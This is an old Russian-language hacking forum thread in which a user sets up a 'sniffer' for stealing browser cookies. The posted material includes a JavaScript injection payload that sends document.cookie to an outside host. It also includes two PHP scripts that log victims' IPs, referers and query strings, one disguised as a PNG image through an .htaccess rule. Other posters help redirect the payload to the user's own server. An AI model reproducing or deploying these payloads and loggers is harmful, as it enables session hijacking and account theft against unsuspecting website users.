Собственный сниффер

Discussion in 'PHP' started by *Van*, 23 Sep 2005.

Thread Status:
Not open for further replies.
  1. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Вот хочу себе забацать сниффер, например на holm-e, что мне нужно сделать для этого?
     
  2. WizART

    WizART Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    267
    Likes Received:
    11
    Reputations:
    0
    поищи по форуму уже был скриптик
     
  3. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Нашёл вот такой скрипт(без вопросит. знаков):
    <?
    $f=Fopen("./log.txt","a+t") or die ("!!!");
    Fputs($f,"$REMOTE_ADDR ");
    Fputs($f,$QUERY_STRING);
    Fputs($f,"\n");
    ?>

    создал сайтик на holme, запихнул log.php(со скриптом) и log.txt в папку WWW.

    Теперь о применении. Мне нужен этот сниффер для отлова куков через jpg-файл, в котором содержится:

    <?script?>img = new Image();
    img.src = "http://antichat.ru/cgi-bin/s.jpg?van"+document.cookie;<?/script?>

    Этот скрипт отсылает куки на античатовский сниффер. ТАк вот вопрос: как мне переделать этот скрипт чтобы он отсылал куки на *.h15.ru/log.php ????
     
  4. MageDealer

    MageDealer Elder - Старейшина

    Joined:
    18 Jul 2005
    Messages:
    113
    Likes Received:
    18
    Reputations:
    22
    Скрипт конечно ты могучий привёл... :)
    И вопрос тебя мучает тоже серьёзный :)
    Попробуй заменить строку "http://antichat.ru/cgi-bin/s.jpg" на путь к своему скрипту. Неужели самому было трудно догадаться?
     
  5. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    я вообще не понял ты говоришь что в первом скрипте надо без вопросов, как это????
    и что за <?script?> <?/script?> :D :D
     
  6. MageDealer

    MageDealer Elder - Старейшина

    Joined:
    18 Jul 2005
    Messages:
    113
    Likes Received:
    18
    Reputations:
    22
    предполагаю что там были криво-перенесённые русские коменты :D
     
  7. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Все, у меня все заработало! Причем справился я сам... Строчку "http://antichat.ru/cgi-bin/s.jpg" я конечно заменял на адрес своего скрипта, но куки не присылались. Теперь я понял в чем проблема и исправил: я сначала когда нашел скрипт для сниффера, то думал что вопросительные знаки в начале и в конце стоят для того, чтобы он не сработал на форуме. Оказалось, что нужно вопросительные знаки оставлять...
    Из-за этого я и написал сначала фразу "(без вопросительных знаков)". Вы уж меня извините за моё чайничество...Я пока учусь...
     
  8. WizART

    WizART Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    267
    Likes Received:
    11
    Reputations:
    0
    короче закрывайте топик
     
  9. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Да, можете закрывать.

    З.Ы. А сниффер я себе все-таки покруче сделал, с полями referer, query с перекодировкой...))
     
  10. WizART

    WizART Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    267
    Likes Received:
    11
    Reputations:
    0
    дак поделись. выкладывай. все порадуемся. а вообще стукни ка мне в асю 444-779 разговор есть!
     
  11. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    <?
    // nerezus, 2005, GPL v2

    // IF U WANNA USE .png(or .gif, .jpeg) EXT FOR THIS FILE, TYPE AddType application/x-httpd-php .png TO YOUR .htaccess

    $log="log.txt";
    $file = fopen ($log, "a+");
    $qu=UrlDecode(getenv('QUERY_STRING'));
    $ref=UrlDecode(getenv('HTTP_REFERER'));
    $ip=getenv('REMOTE_ADDR');
    $now = getdate();
    $nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds'];
    $str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu\n";
    fputs ($file, $str);
    fclose($file);
    header('Location: image.png');
    ?>
     
  12. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    хе, да, "достижение" ;-) Именно по этому перед тем как начать "снифферы писать" надо хотя бы изучить язык на котором они пишутся ;-)
     
  13. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    2Ван

    Да ты что? =)))))))))
     
    _________________________
  14. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    кто-то что-то имеет против? =)
     
  15. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    Да нет =) никто ничего не имеет против =)))
     
    _________________________
Thread Status:
Not open for further replies.